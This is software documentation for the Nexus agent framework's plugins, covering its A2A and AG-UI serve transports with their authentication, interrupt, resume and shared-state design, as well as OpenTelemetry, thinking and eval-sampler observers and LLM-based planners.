      max_tool_output_bytes: 16384
      max_task_bytes: 1048576
    card:
      name: "Nexus Research Agent"
      description: "Runs research turns with web search and file tools."
      version: "1.2.0"
      skills:
        - id: research
          name: "Research a topic"
          description: "Searches the web and summarizes findings with citations."
          tags: ["research", "search"]

Exactly one of card: (inline) or card_file: (a JSON Agent Card document on disk, ~-expanded through engine.ExpandPath) is required. They are mutually exclusive rather than merged: a card is a public contract, and a field-level merge means the document an operator reads in one place is not the one that gets served.

Three decisions worth knowing about

The card is half hand-authored, half derived

card: supplies identity, provider, modes and skills. Everything that describes what the listener actually does — supportedInterfaces, capabilities, securitySchemes, securityRequirements — is derived and overwrites whatever the card source carried, card_file included. There are no config keys for those, deliberately: a card naming a URL nothing is bound to, a capability nothing implements, or a scheme nothing enforces is worse than no card at all.

Skills in particular are not taken from nexus.skills or the tool catalog. An internal catalog churns with every plugin an operator enables; a discovery document that churned with it would leak internal structure and break clients that keyed off it.

The card endpoint is public by default

Specification §8.2 makes the well-known URI a pre-authentication bootstrap step — a client fetches the card precisely to learn which credentials to obtain — so gating it behind those same credentials is circular. The card stays unauthenticated even when every operation is guarded.

That is safe because the listener binds loopback by default, and because the card’s contents are hand-authored, so what it reveals is what an operator chose to reveal. Move bind off loopback and still need the card private? Set card_requires_auth: true and distribute the document out-of-band, which §8.2 sanctions as “Direct Configuration” — at the cost of being undiscoverable to clients that have not already been told about you.

An absent A2A-Version header is read as 1.0, not 0.3

Specification §3.6.2 says an agent MUST read an empty A2A-Version as 0.3. That rule protects clients that predate the parameter from an agent that silently upgraded under them. This listener has never served 0.3 and its card advertises 1.0 on every interface, so a header-less request is not a 0.3 client — there are none — it is a 1.0 client whose HTTP layer omitted a header. Refusing it buys no compatibility and costs interop.

Every response therefore carries A2A-Version: 1.0 so the client can see what it was processed as. Set strict_version_header: true to restore the literal behaviour (useful for a conformance harness). An explicit A2A-Version: 0.3 is refused either way — the policy only governs absence.

Authentication

Two spellings, mutually exclusive, identical to nexus.io.agui:

  • bearer_token / bearer_token_env — one shared secret, desugared into a one-entry static validator (which makes the comparison constant-time).
  • auth: — the full pkg/nexusauth validator chain: static, jwks, introspect, proxy_headers.

Setting both is a boot error naming both keys. Setting neither disables authentication entirely, which is safe only because the bind address defaults to loopback — change bind and configure auth in the same commit.

The card’s securitySchemes are derived from the chain, so what a client is told to present is what is enforced. Note that a proxy_headers validator publishes no scheme: it accepts no client credential at all, only an identity a trusted fronting proxy already established.

See Agent Card security schemes for the full mapping.

Trying it

bin/nexus -config configs/test-a2a-serve.yaml

That config’s nexus.io.test block carries timeout: 20s, which ends the session — and the process — twenty seconds after boot. Raise it for a longer window to poke at the endpoint by hand.

# Discovery needs no credentials.
curl -s localhost:18191/.well-known/agent-card.json | jq

# Operations do. This one runs a turn and streams it.
curl -sN localhost:18191/a2a \
  -H 'Authorization: Bearer test-a2a-token' \
  -H 'A2A-Version: 1.0' \
  -H 'Content-Type: application/a2a+json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":
       {"message":{"messageId":"m1","role":"ROLE_USER",
        "parts":[{"text":"hello"}],"contextId":"demo"}}}'

Each SSE record carries one StreamResponse: the opening Task in TASK_STATE_SUBMITTED, a TASK_STATE_WORKING status update, an artifact holding the reply, and the TASK_STATE_COMPLETED update that closes the stream. Send the same contextId again to continue the conversation.

# List the tasks this token owns, then read one back.
curl -s 'localhost:18191/a2a/v1/tasks?pageSize=5' \
  -H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq

curl -s localhost:18191/a2a/v1/tasks/<task-id> \
  -H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq

Swap the method for CancelTask to see the UnsupportedOperationError (-32004) the one unwired operation still returns, ask for a task id that does not exist for the TaskNotFoundError (-32001), or drop the Authorization header for the 401 and its RFC 6750 challenge.

See also

AG-UI Serve Transport (nexus.io.agui)

nexus.io.agui exposes Nexus over the AG-UI protocol (“Agent-User Interaction”), the open, event-based standard for connecting streaming agents to user-facing applications. It stands up an HTTP listener so that any standards-compliant AG-UI client — CopilotKit/React, the AG-UI terminal client, or a framework integration (LangGraph, CrewAI, Pydantic AI, Google ADK, Mastra, …) — can drive a Nexus agent with no Nexus-specific client code.

This is a serve transport: it accepts AG-UI requests and streams AG-UI responses. It is additive and external-facing — it does not replace the nexus.io.browser / nexus.io.wails Envelope wire that backs the built-in web and desktop UIs. See I/O Transport Plugins for the transport family, and .claude/docs/io-transport.md for why AG-UI intentionally sits outside the browser↔wails parity rule.

Details

IDnexus.io.agui
DependenciesNone
Wire formatAG-UI over HTTP + SSE (defined by pkg/agui, not the pkg/ui Envelope)
EndpointPOST /agui (plus OPTIONS /agui for CORS preflight)
Spec versionv1 (docs.ag-ui.com, 2026-07-10) — pinned in pkg/agui as agui.SpecVersion

The codec is hand-rolled in pkg/agui (no third-party SDK), matching the raw-net/http, minimal-dependency house style. Because the spec is tracked manually, the targeted version is pinned in one place (agui.SpecVersion) and quoted above.

How it works

A client POSTs a RunAgentInput JSON body to /agui and receives a text/event-stream (SSE) response carrying one run: a well-formed AG-UI lifecycle from RUN_STARTED to RUN_FINISHED (or RUN_ERROR). The stream flushes incrementally as bus events arrive — nothing is buffered until the end.

Inbound (client → bus). The request’s messages are mapped to a Nexus io.input:

  • The trailing user message becomes the live turn content.
  • Any earlier messages ride as PreloadMessages, so a resumed thread keeps its prior context.
  • threadId is recorded as the Nexus session id; runId identifies the turn.

io.input is published vetoably (before:io.input first); a veto ends the run with RUN_ERROR.

Outbound (bus → client). The plugin subscribes to the same engine bus events as the browser transport and translates each into canonical AG-UI SSE. Bus handlers only enqueue translated events onto the active run’s channel; a single HTTP handler goroutine is the sole SSE writer, so the stream is race-free.

Event mapping

Nexus bus events map near-1:1 onto the canonical AG-UI event taxonomy. The AG-UI wire type discriminator is UPPER_SNAKE_CASE (per the AG-UI protocol); the values below are the exact strings emitted on the SSE stream:

Nexus bus eventAG-UI event(s)Notes
(run accepted)RUN_STARTEDEmitted eagerly on accept so even an agent-less run is well-formed. threadId / runId echoed.
agent.turn.startSTEP_STARTEDEach turn/iteration opens a step; the step name derives from TurnID.
agent.turn.endSTEP_FINISHED, then RUN_FINISHEDA top-level turn end closes the open step and terminates the run/stream.
llm.stream.chunkTEXT_MESSAGE_STARTTEXT_MESSAGE_CONTENTTEXT_MESSAGE_START (role assistant) is emitted lazily on the first non-empty delta; subsequent deltas append content.
llm.stream.endTEXT_MESSAGE_ENDCloses the open streamed text message.
io.outputTEXT_MESSAGE_STARTTEXT_MESSAGE_CONTENTTEXT_MESSAGE_ENDSelf-contained triple. Skipped when the same content was already streamed via llm.stream.chunk; still rendered when a non-streaming provider (mock / batch) flags output streamed but emitted no chunks, so text is never dropped.
tool.invokeTOOL_CALL_STARTTOOL_CALL_ARGSTOOL_CALL_ENDThe agent emits tool.invoke (not tool.call) to run a tool. Arguments are fully resolved on the bus (not streamed), so the three events are emitted together; args are JSON-encoded. Internal sub-calls (non-empty ParentCallID) still render but never suspend the run.
tool.resultTOOL_CALL_RESULTCorrelated to the call by toolCallId; Error content is surfaced in place of Output when present.
thinking.stepREASONING_STARTREASONING_MESSAGE_CONTENTREASONING_START opens lazily on the first step; REASONING_END is emitted at turn end.
(failure / disconnect / veto / concurrent run)RUN_ERRORTerminal; ends the stream.

Both RUN_FINISHED and RUN_ERROR are terminal — the SSE stream ends on either.

Non-canonical events: the CUSTOM superset

Nexus emits rich events that have no canonical AG-UI equivalent. Rather than drop them, they ride the AG-UI CUSTOM event as a documented superset: the Custom.name is the Nexus bus event type and Custom.value is the JSON-encoded payload. Stock AG-UI clients that only understand canonical events can safely ignore CUSTOM without losing the run’s canonical lifecycle; Nexus-aware clients can opt in.

The bridged bus events are:

  • workflow.progress
  • subagent.started
  • subagent.iteration
  • subagent.complete
  • code.exec.stdout

AG-UI also defines a RAW event for passthrough of an upstream provider’s native event shape. Nexus-specific events use CUSTOM (name + JSON value) consistently; RAW is available in pkg/agui for future passthrough needs.

Interrupts: HITL and client-executed tools

AG-UI uses a terminal-run model for anything that needs input mid-run: the run ends with an interrupt outcome and the client starts a continuation run carrying resume[]. Nexus emulates this as virtual runs over one persistent in-process session — the agent stays parked in-process and a continuation POST unblocks it.

One Nexus turn spans multiple AG-UI runs

The load-bearing consequence of the terminal-run model is that a single Nexus turn can span several AG-UI runs. When an agent needs input, the current run ends — but the Nexus session (and the parked agent) stays alive. Each subsequent resume opens a new run over the same thread until the turn finally completes:

POST /agui  { threadId: T, runId: R1, messages:[…] }        ← run 1 begins the turn
  … RUN_STARTED … STEP_STARTED … (agent calls ask_user) …
  … STATE_SNAPSHOT … MESSAGES_SNAPSHOT … RUN_FINISHED(interrupt)  ← run 1 ends, agent PARKED

POST /agui  { threadId: T, runId: R2, resume:[…] }          ← run 2 continues the SAME turn
  … RUN_STARTED … (agent unblocks, finishes) … RUN_FINISHED     ← turn complete

The threadId is identical across the runs; each continuation uses a fresh runId. No messages are needed on a resume — the resume[] items are the payload the server correlates back to its pending interrupt(s). Because the session is persistent and in-process, a threadId must route to the same Nexus instance across its runs (see threadId / runId semantics below).

Two flows ride the identical suspend/resume machinery:

  • Human-in-the-loop (HITL). A hitl.requested during a run (e.g. the agent calling the ask_user tool) emits a STATE_SNAPSHOT + MESSAGES_SNAPSHOT then RUN_FINISHED(interrupt); the resume emits hitl.responded to unblock the waiter.
  • Client-executed (frontend) tools. Tools the client advertises via RunAgentInput.tools are surfaced to the agent (the plugin appends them to the synchronous tool.catalog.query snapshot, scoped to exactly the advertising run — they never leak into later runs or shadow a same-named server tool). When the agent calls one, its tool.invoke streams the TOOL_CALL_START/ARGS/END sequence and then the run ends interrupt-style: there is no in-process handler to produce a tool.result, so the client runs the tool and resumes with a tool result. The plugin feeds that result back to the parked agent as the tool.result it was waiting on, and the continuation streams on a fresh run.

A server-side Nexus catalog tool is never intercepted: its own handler runs inline and produces the tool.result that streams as a normal TOOL_CALL_RESULT. Client tools are distinguished purely by origin (they came from RunAgentInput.tools).

The interrupt anchor

RUN_FINISHED(interrupt) carries an Interrupt payload in its result field. The client renders it and echoes its interruptId in the resume. It provides:

FieldMeaning
interruptIdThe anchor the client echoes back in resume[].interruptId. Distinct from any internal request id.
promptThe rendered question/approval text (HITL) or a client-tool hint.
modefree_text, choices, or both — controls the response affordance.
choices / defaultChoiceIdThe options (and deadline default) for a choices/both interrupt.

The interrupt kind (HITL vs client tool) is also mirrored in the STATE_SNAPSHOT under an interrupt (HITL) or toolCall (client tool) anchor, so a client that restores from state alone — rather than replaying MESSAGES_SNAPSHOT — still has everything it needs to resume.

The resume[] wire shape

Each resume[] item names an interruptId, a status, and an optional payload. The payload fields depend on the interrupt kind:

statusInterrupt kindpayload fieldsEffect
resolvedHITLchoiceId, freeText, editedPayloadAnswers the prompt. A choices-only interrupt drops stray freeText. All fields optional; an empty payload accepts the default.
resolvedclient tooloutput, errorBecomes the parked agent’s tool.result. Empty resolves the call with empty output (the agent still advances).
cancelledeither(none)Abandons the interrupt: a HITL waiter unblocks as cancelled; a client-tool call resolves with an error tool.result so the agent’s loop still advances.
// HITL resume: pick a choice.
{ "threadId":"T", "runId":"R2",
  "resume":[ { "interruptId":"int-…", "status":"resolved",
               "payload": { "choiceId":"staging" } } ] }

// Client-tool resume: return the tool's output.
{ "threadId":"T", "runId":"R2",
  "resume":[ { "interruptId":"int-…", "status":"resolved",
               "payload": { "output":"sunny, 24C" } } ] }

// Cancel either kind.
{ "threadId":"T", "runId":"R2",
  "resume":[ { "interruptId":"int-…", "status":"cancelled" } ] }

As AG-UI requires, all open interrupts on a thread must be addressed in one resume request: a resume that references an unknown/expired interrupt, addresses one twice, or leaves an open interrupt unaddressed is rejected with a clean terminal RUN_ERROR stream and leaves the parked agent untouched for a corrected retry.

The reusable pure-Go conformance client (pkg/agui/aguiclient) provides constructors for these payloads — ResumeInput, ResolveChoice, ResolveText, ResolveToolResult, and Cancel — plus Result.Interrupt() to extract the anchor from a RUN_FINISHED(interrupt). The end-to-end interrupt/resume and client-tool round-trips are exercised in tests/integration/agui_hitl_test.go.

threadId / runId semantics

  • threadId ↔ Nexus session. The threadId is recorded as the session id on the inbound io.input. Because the serving session is persistent and lives in-process, a threadId must route to the same Nexus instance across runs — the terminal-run/resume model is emulated as virtual runs over one live session, not by reconnecting to a stateless backend.
  • runId ↔ Nexus turn. Each POST is one run == one turn. Message ids in the outbound stream are derived deterministically from the runId so a client can correlate streamed text, tool calls, and results within the run.

Concurrency and scope

One in-flight run per listener (single engine/session per listener, mirroring nexus.io.browser). A second POST while a run is active receives a terminal RUN_STARTED + RUN_ERROR stream rather than interleaving into the live run. On client disconnect or engine shutdown, the active run fails with RUN_ERROR and its handler returns promptly, releasing the slot.

Exposure, auth, and CORS

Safe by default: the listener binds loopback (127.0.0.1:8090) so the endpoint is never network-exposed without an explicit operator opt-in.

  • Bearer auth is enforced only when a non-empty token is resolved. An inline bearer_token takes precedence; otherwise bearer_token_env names an environment variable to read it from. When set, every request must carry Authorization: Bearer <token>.
  • Identity providers — an optional auth: block configures the full pkg/nexusauth validator chain (static, jwks, introspect, proxy_headers) instead of a single shared token.
  • CORS is off by default (same-origin only). cors_origins accepts a YAML list (or comma-separated string); a single * echoes any request Origin, while an explicit list echoes only matching origins. OPTIONS /agui answers preflight for browser AG-UI clients.

Configuration

The canonical, always-current key list lives in the Configuration Reference. The keys are summarized here for convenience:

KeyTypeDefaultDescription
bindstring127.0.0.1:8090host:port the HTTP listener binds to. Loopback by default.
bearer_tokenstring(empty)Inline bearer token. Takes precedence over bearer_token_env. Mutually exclusive with auth.
bearer_token_envstring(empty)Env var name to read the bearer token from (used only when bearer_token is empty). Mutually exclusive with auth.
authmap(absent)Validator-chain block, parsed by the same pkg/nexusauth parser the session broker uses. See Authentication below.
cors_originsstring or list<string>(empty)Allowed CORS origins. * echoes any Origin; a list echoes only matches; empty means same-origin only. Accepts a YAML list or a single comma-separated string.
emit_stateboolfalseOpt-in AG-UI shared-state emission: mirror the scene store as a shared-state document and emit STATE_SNAPSHOT/STATE_DELTA on the run stream. See Shared state below.

The block is validated against plugins/io/agui/schema.json before Init runs, with additionalProperties: false at every level including inside auth: and inside each validators[] entry. An unknown key aborts the boot and names the offender — a misspelled auth key that was silently ignored would mean an unauthenticated listener with no warning.

Authentication (auth:)

The transport authenticates through the shared identity layer, pkg/nexusauth — the same validator chain cmd/nexus-broker uses. Pointing both hosts at one parser is what makes OIDC available here without any AG-UI-specific identity code.

Two spellings are accepted, and they are mutually exclusive:

  • bearer_token / bearer_token_env — one shared secret. Unchanged, not deprecated, and still the right amount of configuration for a loopback listener fronting one developer’s UI. It is desugared into a one-entry static validator; the only visible difference is that the token comparison is now constant-time.
  • auth: — the full validator chain: static (a token table), jwks (OIDC JWTs verified against the issuer’s published keys), introspect (opaque tokens verified via RFC 7662), and proxy_headers (an identity a fronting authenticating proxy already established). Validators are tried in the order listed and the first one that accepts wins, so cheap validators belong first.

Setting both fails the boot with an error naming both keys. That is a deliberate choice over a precedence rule: two sources for one security decision means one of them is stale. (bearer_token together with bearer_token_env remains legal, with its original precedence — inline first, then the environment variable.)

Setting neither disables authentication and admits every request, exactly as before. That is only safe because the listener binds loopback; if you change bind, configure auth in the same change.

plugins:
  nexus.io.agui:
    bind: "0.0.0.0:8090"
    auth:
      validators:
        - type: jwks
          issuer: "https://id.example.com/"
          jwks_url: "https://id.example.com/.well-known/jwks.json"
          audience: "nexus-agui"
          principal_claim: sub
          scopes_claim: scope

Every validator key, default and validation rule is documented once in the Configuration Reference. The one difference from the broker is that admin_scope is broker-only and is rejected here as an unknown key; unknown keys are rejected at every level in both hosts.

What is gated: POST /agui, and nothing else. OPTIONS /agui stays unauthenticated — a browser never attaches Authorization to a CORS preflight. CORS headers are written before the auth check, so a browser can read a 401 rather than seeing an opaque network error.

Refusals: 401 with a WWW-Authenticate: Bearer realm="nexus-agui" challenge (plus error="invalid_token" when a credential was presented and rejected), 403 with error="insufficient_scope", and 503 with a Retry-After when a validator could not reach a verdict — an identity-provider outage must not read to a client as “re-authenticate”. See the status mapping table.

Principal: the resolved identity is recorded on the agui run started log record as principal_id (empty when auth is disabled). It is also bound into the session’s tag store: startRun/resumeRun write it as the reserved _principal_id session label before the run’s io.input (or, on resume, hitl.responded) is emitted, and endRun clears it. Every run/resume re-binds fresh from that request’s own resolved principal — a resumed thread under a different principal gets a new bind, never a stale one. This is a pure observability seam: one listener still serves a single session and one run at a time, so nothing in this transport itself keys behaviour on the bound identity. An external consumer (e.g. an embedder’s own authorization layer) subscribes to session.tag.set / session.tag.deleted to observe the bind and the clear. See Session Tags for the tag store itself.

Business context: each RunAgentInput.context item (description / value) is written directly as a general-namespace session tag (description -> key, value -> value) at the same points, with no veto — this is already-authenticated, already-decoded input. A client cannot use this to write the reserved _principal_id key: the reserved prefix (_) is enforced at the tag store regardless of caller, so a context item whose description starts with _ is rejected rather than silently overwriting the bound identity.

Shared state

With emit_state: true, the transport mirrors the session’s scene store (nexus.scene) as the AG-UI shared state document so a frontend can render and track agent state. The mapping is:

  • The scene store emits scene.created / scene.patched / scene.deleted on the bus, each carrying the scene’s full post-mutation content. The transport tracks these into a document keyed by scene_id (value = the scene’s current content). It never calls the scene plugin directly — the bus events are the sole input.
  • On run start, a STATE_SNAPSHOT of the current document is emitted right after RUN_STARTED.
  • Each scene mutation during the run emits a STATE_DELTA whose delta is an RFC 6902 JSON Patch from the previous document to the new one. The STATE_SNAPSHOT always precedes any STATE_DELTA on the stream, and applying the deltas in order to the snapshot reconstructs the state (verified end to end by the TestAGUIState_* integration tests as well as the pkg/agui unit tests). This aligns AG-UI’s STATE_DELTA with the scene store’s patch model while normalizing the scene store’s shallow-merge semantics into a valid JSON Patch computed from full content.

The document is session-scoped and persists across runs on the listener, so a later run’s snapshot reflects scenes created by an earlier run.

Inbound state (client → agent)

A client may send a shared-state document on RunAgentInput.state to seed or edit state the agent then observes. The document uses the same scene-keyed shape the transport emits outbound: a JSON object whose keys are scene_ids and whose values are that scene’s content.

  • Inbound state is applied at run start (and on a resume/continuation run) before the initial STATE_SNAPSHOT is emitted, so the snapshot reflects the client’s view and the agent’s first turn observes it.
  • To make a client write real (not just a mirror update), each scene_id → content entry is pushed into the scene store via a bus-emitted scene_create tool.invoke carrying an explicit scene_id. The scene plugin creates the scene under that id, or shallow-merges the content as a patch when the scene already exists (client edits a scene the agent created preserve keys the client did not send). The agent then reads the seeded state through the normal scene_get / scene_list tools. No direct plugin-to-plugin call is made — the bus is the only channel.
  • A non-object state document (or otherwise malformed) is logged and skipped; it never fails the run. Inbound state is a no-op when emit_state is off.

Conflict / ordering semantics — client-state-seeds-then-agent-wins. The client seed is fully applied before the run’s io.input is emitted, so the agent always starts from the seeded state. For the rest of the run, agent-side scene mutations are last-writer over the same scene_id: a later scene_patch overwrites the client’s value per the scene store’s shallow-merge semantics, and that change flows back out as a STATE_DELTA (completing the round-trip). The transport’s stateMu and the scene store’s own lock serialize concurrent client and agent mutations, so ordering is deterministic (client seed first, then agent writes in bus order) and no half-applied document is ever observed.

Because the mirror is seeded to the same value the scene store echoes back, the seed itself produces no STATE_DELTA — only genuine agent mutations do. The TestAGUIState_InboundSeedObserved and TestAGUIState_ConflictAgentWins integration tests exercise this round-trip: the client seed appears in the initial STATE_SNAPSHOT and is read back through scene_get, and a subsequent agent scene_patch on the same scene_id wins on the overlapping key (with the client’s untouched keys preserved by shallow-merge) and surfaces as exactly one STATE_DELTA.

The scene_create tool accepts an optional scene_id argument to support this seeding; when omitted the store assigns an id as before, so existing agent usage is unchanged.

Example configuration

plugins:
  nexus.io.agui:
    bind: "127.0.0.1:8090"
    bearer_token_env: "AGUI_BEARER_TOKEN"
    cors_origins:
      - "https://app.example.com"

For an OIDC deployment, replace bearer_token_env with an auth: block — the two are mutually exclusive.

See also

Observer Plugins

Observers watch system activity without affecting behavior. They’re useful for debugging, auditing, and persisting reasoning traces.

Available Observers

PluginIDPurpose
Thinking Persistencenexus.observe.thinkingPersists thinking steps and plan progress
OpenTelemetrynexus.observe.otelExports events as OTel traces via OTLP

The legacy nexus.observe.logger plugin was removed in #66 / Phase 3. Its events.jsonl role is now subsumed by the always-on engine journal at <session>/journal/events.jsonl. External tooling that previously tailed the logger’s events.jsonl can tail the journal instead.

Thinking Observer

Marker observer for thinking.step and plan.progress events. The plugin no longer writes derived JSONL files — the per-session journal is the single source of truth for both event types, alongside every other event on the bus.

When this plugin is in plugins.active, terminal and browser shells turn on thinking-related UI affordances (e.g. dedicated “thinking” message styling). Without it, the events still flow on the bus and land in the journal — only the optional UI surface differs.

Details

IDnexus.observe.thinking
DependenciesNone

Configuration

No configuration options.

Events

Subscribes To

EventPriorityPurpose
thinking.step90Marker subscription (no side effects)
plan.progress90Marker subscription (no side effects)

Emits

None.

Reading the thinking history

Thinking steps and plan progress live in <session>/journal/active.jsonl (and rotated *.jsonl.zst segments) exactly like every other event. Two ways to consume them:

  • Live, in-process: subscribe to envelopes via journal.Writer.SubscribeProjection(["thinking.step", "plan.progress"], handler). Handlers fire synchronously after the writer has flushed each envelope to disk.
  • Post-mortem, walking the journal directory: journal.ProjectFile(journalDir, []string{"thinking.step", "plan.progress"}, handler). Useful for regenerating derived views after a recall or crash.

Thinking Step Payload

{
  "turn_id": "abc123",
  "source": "nexus.agent.react",
  "content": "The user wants to refactor the auth module...",
  "phase": "reasoning",
  "timestamp": "2026-04-08T10:30:00Z"
}

Phases: planning, executing, reasoning.

Example Configuration

# Just activate it — no config needed
nexus.observe.thinking: {}

OpenTelemetry Observer

Exports all bus events as OpenTelemetry traces via OTLP. Creates one trace per session with individual spans for each event. Rich span attributes are extracted from LLM, tool, agent, and error payloads.

Details

IDnexus.observe.otel
DependenciesNone

Configuration

KeyTypeDefaultDescription
endpointstringlocalhost:4317OTLP collector endpoint
protocolstringgrpcTransport protocol: grpc or http
insecurebooltrueSkip TLS verification
service_namestringnexusOTel service name reported to collector
exclude_eventslist[]Event types to skip. Supports prefix wildcards (e.g. llm.stream.*)

Events

Subscribes To

Uses SubscribeAll() — receives every event in the system (minus excluded events).

Emits

None.

Trace Structure

Each Nexus session produces one trace:

  • Root span: nexus.session — spans the full session lifetime with session ID attribute.
  • Child spans: One per bus event, named by event type (e.g. llm.request, tool.invoke).

All spans include base attributes:

  • nexus.event.id — unique event ID
  • nexus.event.type — event type string
  • nexus.event.source — emitting plugin ID
  • nexus.event.timestamp_unix_ms — event timestamp

Rich Attributes by Event Type

LLM requests (llm.request):

  • nexus.llm.role, nexus.llm.model, nexus.llm.max_tokens, nexus.llm.stream
  • nexus.llm.message_count, nexus.llm.tool_count, nexus.llm.temperature

LLM responses (llm.response):

  • nexus.llm.model, nexus.llm.finish_reason
  • nexus.llm.usage.prompt_tokens, nexus.llm.usage.completion_tokens, nexus.llm.usage.total_tokens
  • nexus.llm.tool_call_count

Tool calls (tool.invoke):

  • nexus.tool.id, nexus.tool.name, nexus.tool.turn_id

Tool results (tool.result):

  • nexus.tool.id, nexus.tool.name, nexus.tool.has_error, nexus.tool.error

Agent turns (agent.turn):

  • nexus.agent.turn_id, nexus.agent.iteration, nexus.agent.session_id

Subagent events:

  • nexus.subagent.spawn_id, nexus.subagent.task, nexus.subagent.iterations, nexus.subagent.usage.total_tokens

Vetoable events (before:*):

  • nexus.veto.vetoed, nexus.veto.reason (when vetoed)
  • Plus attributes from the wrapped original payload

Example Configuration

plugins:
  active:
    - nexus.observe.otel

  # Export to local Jaeger via gRPC
  nexus.observe.otel:
    endpoint: "localhost:4317"
    protocol: grpc
    insecure: true
    service_name: nexus
    exclude_events:
      - llm.stream.chunk
      - core.tick

  # Export to remote collector via HTTP
  nexus.observe.otel:
    endpoint: "otel-collector.example.com:4318"
    protocol: http
    insecure: false
    service_name: my-agent

Backends

Any OTLP-compatible backend works:

  • Jaeger — local development, docker run -p 4317:4317 -p 16686:16686 jaegertracing/jaeger:latest
  • Grafana Tempo — production tracing
  • Honeycomb — managed observability
  • SigNoz — open source APM

Online Eval Sampler

Opt-in observer plugin that snapshots a configurable fraction of live session journals (plus every failed session, when failure-capture is on) into a local directory so the eval pipeline can score them later.

The sampler is off by default. It does not appear in any of the shipped configs; activating it is a deliberate two-step opt-in: list the plugin in plugins.active, then set enabled: true in its config block. Omitting either step keeps the plugin inert — Subscriptions() returns empty, no bus traffic, no disk writes.

Details

IDnexus.observe.sampler
Sourceplugins/observe/sampler/plugin.go
DependenciesNone — the journal is core, not a plugin
CapabilitiesNone
Default stateDisabled

Why it exists

Promotion (nexus eval promote, see Promoting a Session) turns a real session into a deterministic eval case in one command. But the operator has to know a session is interesting before promoting it. The sampler closes that loop:

  • A small fraction of normal sessions land on disk so a sample of the workload is always available for offline scoring.
  • Every failed session is captured automatically (no “I forgot to keep that one”), preserving the journal exactly as it was when it failed.

The captured directory is in the same shape nexus eval promote accepts as input — so a captured session can be promoted to a fully deterministic case without any intermediate transformation.

Configuration

Per the configuration reference:

plugins:
  active:
    - nexus.observe.sampler

  nexus.observe.sampler:
    enabled: false                    # master switch (default false)
    rate: 0.0                         # fraction of normal sessions captured (0..1)
    failure_capture: true             # always capture status != completed/active
    out_dir: ~/.nexus/eval/samples    # path expanded via engine.ExpandPath

Init (plugins/observe/sampler/plugin.go:96) validates rate ∈ [0, 1] when enabled: true and creates out_dir ahead of any captures.

What gets written

For each captured session, the sampler writes:

<out_dir>/<session-id>/
  journal/
    header.json              # exact copy of the source journal header
    events.jsonl             # active segment (byte-for-byte under IdentityRedactor)
    events-001.jsonl.zst     # rotated segments, byte-for-byte
    cache/...                # tool result cache, byte-for-byte
  metadata.json              # provenance: captured_at, reason, sampling_rate_at_capture, session_status, engine_version

<session-id> is the live session’s ID — not a fresh ID per sample. Re-running the sampler against the same session is idempotent: the plugin’s in-memory captured set short-circuits a duplicate capture in the same engine lifetime.

The journal/ subtree is produced by pkg/iocopy.CopyDir — the same helper the promote pipeline uses, so the two paths cannot drift.

Capture decision

Every io.session.end runs through Plugin.decide (plugins/observe/sampler/plugin.go:194):

  1. If failure_capture: true and the session’s metadata/session.json status is anything other than active or completed, return ("failure_capture", true) and snapshot.
  2. Else, if rate <= 0, skip.
  3. Else, if rate >= 1, return ("sampled", true) and snapshot.
  4. Else, roll a [0, 1) float against rate. Capture on hit.

Tests inject a deterministic RNG via the package-private Plugin.SetRandSource so the rate path is reproducible:

p := New().(*Plugin)
p.SetRandSource(rand.New(rand.NewSource(42)))

The eval.candidate event

Every capture emits one eval.candidate envelope:

type EvalCandidate struct {
    SessionID string   `json:"session_id"`
    CaseDir   string   `json:"case_dir"`
    Reason    string   `json:"reason"`        // "sampled" or "failure_capture"
    Warnings  []string `json:"warnings,omitempty"`
}

Downstream tooling (a future nexus eval list-candidates, an external ingestion backend, a UI badge) can subscribe to eval.candidate and enumerate captures without scanning out_dir itself. Definition: plugins/observe/sampler/events.go:1.

Redaction

The sampler accepts a pluggable Redactor (plugins/observe/sampler/redact.go:12):

type Redactor interface {
    Redact(eventType string, payload []byte) ([]byte, error)
}

v1 ships only the IdentityRedactor (no-op). When a non-identity redactor is configured, the sampler walks the active events.jsonl segment line-by-line after the byte copy and rewrites each envelope’s payload through the redactor. A nil return wipes the payload while preserving envelope metadata (seq, type, ts).

Limitation. Compressed *.jsonl.zst rotated segments are byte-copied as-is in v1 — round-tripping zstd would expand the dependency surface. If a non-identity redactor matters for rotated segments, surface the case as a follow-up issue and design a streaming rewrite path.

Integration with nexus eval promote

The on-disk shape under out_dir/<session-id>/journal/ is exactly what pkg/eval/promote consumes. A future follow-up will let nexus eval promote --session ~/.nexus/eval/samples/<id> pick up a sampled directory directly. Today the same end can be reached with one symlink or copy into ~/.nexus/sessions/ and the regular promote flow.

The metadata.json sibling carries the bookkeeping that promote does not need (captured_at, sampling_rate_at_capture, etc.) — it is provenance for analytics, not state for replay.

Privacy posture

  • Off by default. No data is captured without an explicit config opt-in.
  • out_dir is local to the host. The plugin makes zero network calls.
  • A Redactor hook is in place from day one. The default is identity; custom redactors are an API-only contract — no surface area in the YAML schema yet.
  • Sampled bytes are subject to the same retention rules the operator applies to out_dir itself; the plugin never deletes its own output.

Events

Subscribes To

EventPriorityPurpose
io.session.end0 (low)Run decide → snapshot → emit eval.candidate. Lowest priority so end-of-session writers (journal, memory persisters) finalize first.

Emits

EventPayloadWhen
eval.candidateEvalCandidateAfter a successful snapshot.

Planner Plugins

Planners generate execution plans before the agent starts iterating. They’re optional — enable them when you want structured task decomposition before action.

Available Planners

PluginIDStrategy
Dynamic Plannernexus.planner.dynamicLLM generates a plan from the user’s input
Static Plannernexus.planner.staticReturns a fixed set of steps from config

How Planning Works

  1. The agent (with planning: true) emits plan.request with the user’s input
  2. The active planner generates a plan
  3. Plan is delivered via plan.result
  4. Optionally, the user is asked to approve via plan.approval.request
  5. The agent injects the plan into its system prompt and begins iteration

Plan Persistence

Plans are persisted to the session under plugins/<planner-id>/<plan-id>/:

FileContent
plan.jsonThe generated plan steps
request.jsonThe original plan request
approval.jsonThe approval decision (if applicable)

Dynamic Planner

Uses an LLM to generate an execution plan from the user’s input. The plan is a sequence of steps with descriptions and optional detailed instructions.

Details

IDnexus.planner.dynamic
DependenciesNone

Configuration

KeyTypeDefaultDescription
approvalstringalwaysApproval mode: always (user must approve), never (skip), auto (LLM decides)
model_rolestring(default)Model role for plan generation
max_stepsint10Maximum number of plan steps
plan_promptstring(built-in)Custom inline planning prompt
plan_prompt_filestring(none)Path to a custom planning prompt file

Events

Subscribes To

EventPriorityPurpose
plan.request50Receives plan generation requests
llm.response50Receives the LLM’s generated plan

Emits

EventWhen
plan.resultPlan generated and ready
